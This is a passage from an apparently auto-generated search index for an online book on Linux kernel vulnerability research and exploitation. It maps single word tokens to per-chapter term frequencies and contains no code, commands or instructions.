ation.html":{"ref":"chapters/exploitation.html","tf":0.0036404368524222907}},",":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0025677603423680455},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"_":{"docs":{},"c":{"docs":{},"g":{"docs":{},"r":{"docs":{},"o":{"docs":{},"u":{"docs":{},"p":{"docs":{},"_":{"docs":{},"m":{"docs":{},"i":{"docs":{},"g":{"docs":{},"r":{"docs":{},"a":{"docs":{},"t":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},":":{"1":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"docs":{}}}}}}}}}}}}}}}}}}},"d":{"docs":{},"e":{"1":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}}},"2":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}},"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0025677603423680455}},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"m":{"docs":{},"p":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"m":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{},"_":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"n":{"docs":{},"_":{"docs":{},"r":{"docs":{},"c":{"docs":{},"u":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"r":{"docs":{},"m":{"docs":{},"a":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"_":{"docs":{},"p":{"docs":{},"r":{"docs":{},"i":{"docs":{},"o":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"v":{"docs":{},"e":{"docs":{},"m":{"docs":{},"b":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}}}},"i":{"docs":{},"v":{"docs":{},"c":{"docs":{},"s":{"docs":{},"w":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"g":{"docs":{},"h":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"k":{"docs":{},"o":{"docs":{},"l":{"docs":{},"e":{"docs":{},"n":{"docs":{},"k":{"docs":{},"o":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}},"r":{"docs":{},"_":{"docs":{},"c":{"docs":{},"p":{"docs":{},"u":{"docs":{},"s":{"docs":{},"_":{"docs":{},"a":{"docs":{},"l":{"docs":{},"l":{"docs":{},"o":{"docs":{},"w":{"docs":{},"e":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}},"d":{"docs":{},"i":{"docs":{},"r":{"docs":{},"t":{"docs":{},"i":{"docs":{},"e":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"p":{"docs":{},"a":{"docs":{},"u":{"docs":{},"s":{"docs":{},"e":{"docs":{},")":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}},"s":{"docs":{},"e":{"docs":{},"g":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"s":{"docs":{},"*":{"docs":{},"s":{"docs":{},"i":{"docs":{},"z":{"docs":{},"e":{"docs":{},"o":{"docs":{},"f":{"docs":{},"(":{"docs":{},"*":{"docs":{},"u":{"docs":{},"v":{"docs":{},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{},"o":{"docs":{},"r":{"docs":{},")":{"docs":{},")":{"docs":{},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}}}}}}}}},"s":{"docs":{},"e":{"docs":{},"c":{"docs":{},"s":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}}}},"p":{"docs":{},"r":{"docs":{},"o":{"docs":{},"x":{"docs":{},"i":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"y":{"docs":{},")":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},":":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}},"u":{"docs":{},"l":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}}},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},";":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}}}},"m":{"docs":{},"a":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"_":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"r":{"docs":{},"y":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"f":{"docs":{},"a":{"docs":{},"u":{"docs":{},"l":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"s":{"docs":{},"_":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"a":{"docs":{},"l":{"docs":{},"i":{"docs":{},"t":{"docs":{},"y":{"docs":{},"[":{"3":{"docs":{},"]":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"docs":{}}}}}}}}}}}}}}}}},"g":{"docs":{},"r":{"docs":{},"o":{"docs":{},"u":{"docs":{},"p":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"m":{"docs":{},"i":{"docs":{},"g":{"docs":{},"r":{"docs":{},"a":{"docs":{},"t":{"docs":{},"e":{"docs":{},"_":{"docs":{},"r":{"docs":{},"e":{"docs":{},"t":{"docs":{},"r":{"docs":{},"y":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}},"p":{"docs":{},"a":{"docs":{},"g":{"docs":{},"e":{"docs":{},"s":{"docs":{},"_":{"docs":{},"m":{"docs":{},"i":{"docs":{},"g":{"docs":{},"r":{"docs":{},"a":{"docs":{},"t":{"docs":{},"e":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}},"r":{"docs":{},"e":{"docs":{},"f":{"docs":{},"e":{"docs":{},"r":{"docs":{},"r":{"docs":{},"e":{"docs":{},"d":{"docs":{},"_":{"docs":{},"n":{"docs":{},"i":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}},"s":{"docs":{},"c":{"docs":{},"a":{"docs":{},"n":{"docs":{},"_":{"docs":{},"p":{"docs":{},"e":{"docs":{},"r":{"docs":{},"i":{"docs":{},"o":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"m":{"docs":{},"a":{"docs":{},"x":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}},"s":{"docs":{},"e":{"docs":{},"q":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"w":{"docs":{},"o":{"docs":{},"r":{"docs":{},"k":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"b":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0017043033659991478},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},".":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}},"v":{"docs":{},"c":{"docs":{},"s":{"docs":{},"w":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},")":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}},")":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145}}},";":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0034782608695652175},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},";":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"m":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"w":{"docs":{},"a":{"docs":{},"i":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"b":{"docs":{},"y":{"docs":{},"t":{"docs":{},"e":{"docs":{},"s":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},":":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}},"c":{"docs":{},"e":{"docs":{},"i":{"docs":{},"v":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"e":{"docs":{},"d":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},":":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}},"w":{"docs":{},"r":{"docs":{},"i":{"docs":{},"t":{"docs":{},"t":{"docs":{},"e":{"docs":{},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}},":":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}}}}}}}}}}}}}}},"q":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.006507592190889371},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.00641025641025641},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}},"u":{"docs":{},"i":{"docs":{},"e":{"docs":{},"t":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"e":{"docs":{},"u":{"docs":{},"e":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.003994293865905849},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0022402688322598714}},"d":{"docs":{},"_":{"docs":{},"s":{"docs":{},"p":{"docs":{},"i":{"docs":{},"n":{"docs":{},"_":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145}}}}}}}}}}}}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"s":{"docs":{},"t":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},"s":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}},"a":{"docs":{},"d":{"docs":{},"w":{"docs":{},"o":{"docs":{},"r":{"docs":{},"d":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}},"e":{"docs":{},"m":{"docs":{},"u":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.013307984790874524},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}},"r":{"0":{"8":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"9":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"docs":{}},"1":{"0":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"1":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"2":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"3":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"4":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"5":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"docs":{}},"3":{"7":{"7":{"7":{"8":{"2":{"docs":{},"b":{"docs":{},"/":{"docs":{},"b":{"docs":{},"i":{"docs":{},"n":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{},"a":{"docs":{},"m":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}},"n":{"docs":{},"d":{"docs":{},"o":{"docs":{},"m":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"i":{"docs":{},"z":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"e":{"docs":{},"d":{"docs":{},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{},"_":{"docs":{},"f":{"docs":{},"i":{"docs":{},"e":{"docs":{},"l":{"docs":{},"d":{"docs":{},"s":{"docs":{},"_":{"docs":{},"e":{"docs":{},"n":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"r":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"v":{"docs":{},"g":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"w":{"docs":{},"_":{"docs":{},"s":{"docs":{},"p":{"docs":{},"i":{"docs":{},"n":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"_":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"c":{"docs":{},"o":{"docs":{},"p":{"docs":{},"y":{"docs":{},"_":{"docs":{},"f":{"docs":{},"r":{"docs":{},"o":{"docs":{},"m":{"docs":{},"_":{"docs":{},"u":{"docs":{},"s":{"docs":{},"e":{"docs":{},"r":{"docs":{},"(":{"docs":{},"t":{"docs":{},"o":{"docs":{},",":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}}}}}}}}}}}},"t":{"docs":{},"o":{"docs":{},"_":{"docs":{},"u":{"docs":{},"s":{"docs":{},"e":{"docs":{},"r":{"docs":{},"(":{"docs":{},"t":{"docs":{},"o":{"docs":{},",":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}}}}}}}}}}}}}}}},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145}}}},"x":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"c":{"docs":{},"e":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}}}}},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.005703422053231939},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.005600672080649678}},"e":{"docs":{},"l":{"docs":{},"f":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}},"y":{"docs":{},",":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"(":{"docs":{},")":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"i":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"p":{"docs":{},"i":{"docs":{},"p":{"docs":{},"e":{"docs":{},"_":{"docs":{},"f":{"docs":{},"d":{"docs":{},"[":{"0":{"docs":{},"]":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}},"docs":{}}}}}}}}}},"i":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},"/":{"docs":{},"w":{"docs":{},"r":{"docs":{},"i":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},"e":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}},"v":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0021303792074989347}},"_":{"docs":{},"b":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"e":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"r":{"docs":{},"t":{"docs":{},"_":{"docs":{},"t":{"docs":{},"i":{"docs":{},"m":{"docs":{},"e":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}},"l":{"docs":{},"i":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"o":{"docs":{},"c":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.002800336040324839}},"a":{"docs":{},"t":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}}}}},"s":{"docs":{},"o":{"docs":{},"n":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"c":{"docs":{},"h":{"docs":{},"a":{"docs":{},"b":{"docs":{},"l":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}}}}},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032}},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"i":{"docs":{},"b":{"docs":{},"u":{"docs":{},"t":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}}}},"c":{"docs":{},"o":{"docs":{},"v":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}},"e":{"docs":{},"r":{"docs":{},"i":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.009615384615384616}}}}}}}}}},"r":{"docs":{},"a":{"docs":{},"w":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"u":{"docs":{},"c":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}},"e":{"docs":{},"a":{"docs":{},"s":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}},"e":{"docs":{},"l":{"docs":{},"e":{"docs":{},"v":{"docs":{},"e":{"docs":{},"l":{"docs":{},"=":{"docs":{},"'":{"docs":{},"f":{"docs":{},"i":{"docs":{},"n":{"docs":{},"a":{"docs":{},"l":{"docs":{},"'":{"docs":{},",":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}}}}}}}}}}}}}}},"v":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}},"p":{"docs":{},"l":{"docs":{},"a":{"docs":{},"c":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"y":{"docs":{},"_":{"docs":{},"e":{"docs":{},"r":{"docs":{},"r":{"docs":{},"o":{"docs":{},"r":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}},"o":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.015184381778741865}},"/":{"docs":{},"+":{"docs":{},"/":{"docs":{},"r":{"docs":{},"e":{"docs":{},"f":{"docs":{},"s":{"docs":{},"/":{"docs":{},"h":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},"s":{"docs":{},"/":{"docs":{},"m":{"docs":{},"a":{"docs":{},"s":{"docs":{},"t":{"docs":{},"e":{"docs":{},"r":{"docs":{},"/":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},"m":{"docs":{},"e":{"docs":{},".":{"docs":{},"m":{"docs":{},"d":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"s":{"docs":{},"i":{"docs":{},"t":{"docs":{},"o":{"docs":{},"r":{"docs":{},"i":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.006507592190889371}}},"y":{"docs":{},".":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247}}}}}}}}},"r":{"docs":{},"t":{"